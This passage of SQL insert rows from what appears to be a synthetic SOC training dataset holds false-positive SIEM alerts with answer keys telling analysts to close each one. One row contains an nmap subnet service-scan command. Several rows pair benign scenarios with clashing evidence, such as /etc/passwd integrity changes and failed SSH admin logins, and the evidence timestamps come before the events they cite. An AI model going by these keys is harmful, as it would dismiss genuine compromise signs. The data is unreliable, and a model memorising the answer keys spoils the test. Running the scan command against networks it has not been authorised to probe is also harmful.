4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"net_recon_user\\\",\\\"hostname\\\":\\\"network-scanner\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1798, 'Routine System Health Check Detected as Malware', 'low', 'Splunk', 'A system health check script execution was mistakenly identified as malicious activity. The script ran a series of diagnostic tests on internal systems.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.20\",\"username\":\"it_admin\",\"hostname\":\"healthcheck-server\",\"command_line\":\"python3 /scripts/system_health_check.py\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"python3 /scripts/system_health_check.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a legitimate internal diagnostic tool.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in routine operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command line matches known diagnostic scripts used by IT for routine health checks.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.312Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"healthcheck-server\\\",\\\"command_line\\\":\\\"python3 /scripts/system_health_check.py\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1799, 'Authorized Administrative Backup Misclassified as Data Exfiltration', 'medium', 'Elastic SIEM', 'A scheduled administrative backup to an external cloud storage was flagged as potential data exfiltration.', 'Data Exfil', 'T1020', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"198.51.100.25\",\"username\":\"backup_service\",\"hostname\":\"backup-server\",\"request_body\":\"Scheduled backup operation\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for regular backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Known cloud storage provider domain used for authorized backups.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"backup_service\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Standard service account for backup operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The destination IP is a known cloud storage used for legitimate backup processes.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.314Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T07:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"backup_service\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"Scheduled backup operation\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1800, 'Misconfigured Legacy App Triggering Lateral Movement Alert', 'medium', 'Wazuh', 'A legacy application performing inter-server communication was flagged as lateral movement due to outdated protocols.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.22\",\"dst_ip\":\"10.0.0.23\",\"username\":\"legacy_app\",\"hostname\":\"server-old\",\"command_line\":\"/usr/bin/legacy_tool --connect\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/bin/legacy_tool --connect\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command associated with known legacy application.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of legacy server.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of server communication target.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The legacy application is known to use outdated protocols which can appear suspicious.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.317Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.22\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"server-old\\\",\\\"command_line\\\":\\\"/usr/bin/legacy_tool --connect\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1801, 'Routine IT Vulnerability Scan Misinterpreted as Brute Force Attack', 'low', 'Azure Sentinel', 'A scheduled vulnerability scan using internal security tools was incorrectly flagged as a brute force attack due to multiple login attempts.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.30\",\"dst_ip\":\"10.0.0.40\",\"username\":\"scan_user\",\"hostname\":\"vuln-scan-server\",\"request_body\":\"Multiple login attempts detected\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"IP address used by internal vulnerability scanning tool.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Target IP of routine vulnerability scan.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"scan_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Account used for authorized vulnerability scans.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity corresponds with the scheduled vulnerability scans performed by IT.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1802, 'Benign Network Monitoring Misidentified as Phishing Attempt', 'low', 'Splunk', 'Network monitoring packets were mistakenly flagged as a phishing attempt due to heuristic matching of packet metadata.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:25:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.50\",\"dst_ip\":\"10.0.0.60\",\"username\":\"net_monitor\",\"hostname\":\"monitor-server\",\"request_body\":\"Routine network monitoring packet\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"IP address of network monitoring tool.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.60\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Destination IP for network monitoring packets.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The flagged activity is consistent with normal network monitoring operations.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1803, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A vulnerability scan was detected originating from an internal IT system. This activity is part of scheduled security assessments.', 'Lateral Movement', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.1.5\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin_scan\",\"hostname\":\"IT-SCAN-01\",\"command_line\":\"nmap -sV 192.168.1.0/24\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for vulnerability scanning\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_scan\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"clean\",\"details\":\"Authorized scanning account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This alert was generated by routine IT security scans and poses no threat.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
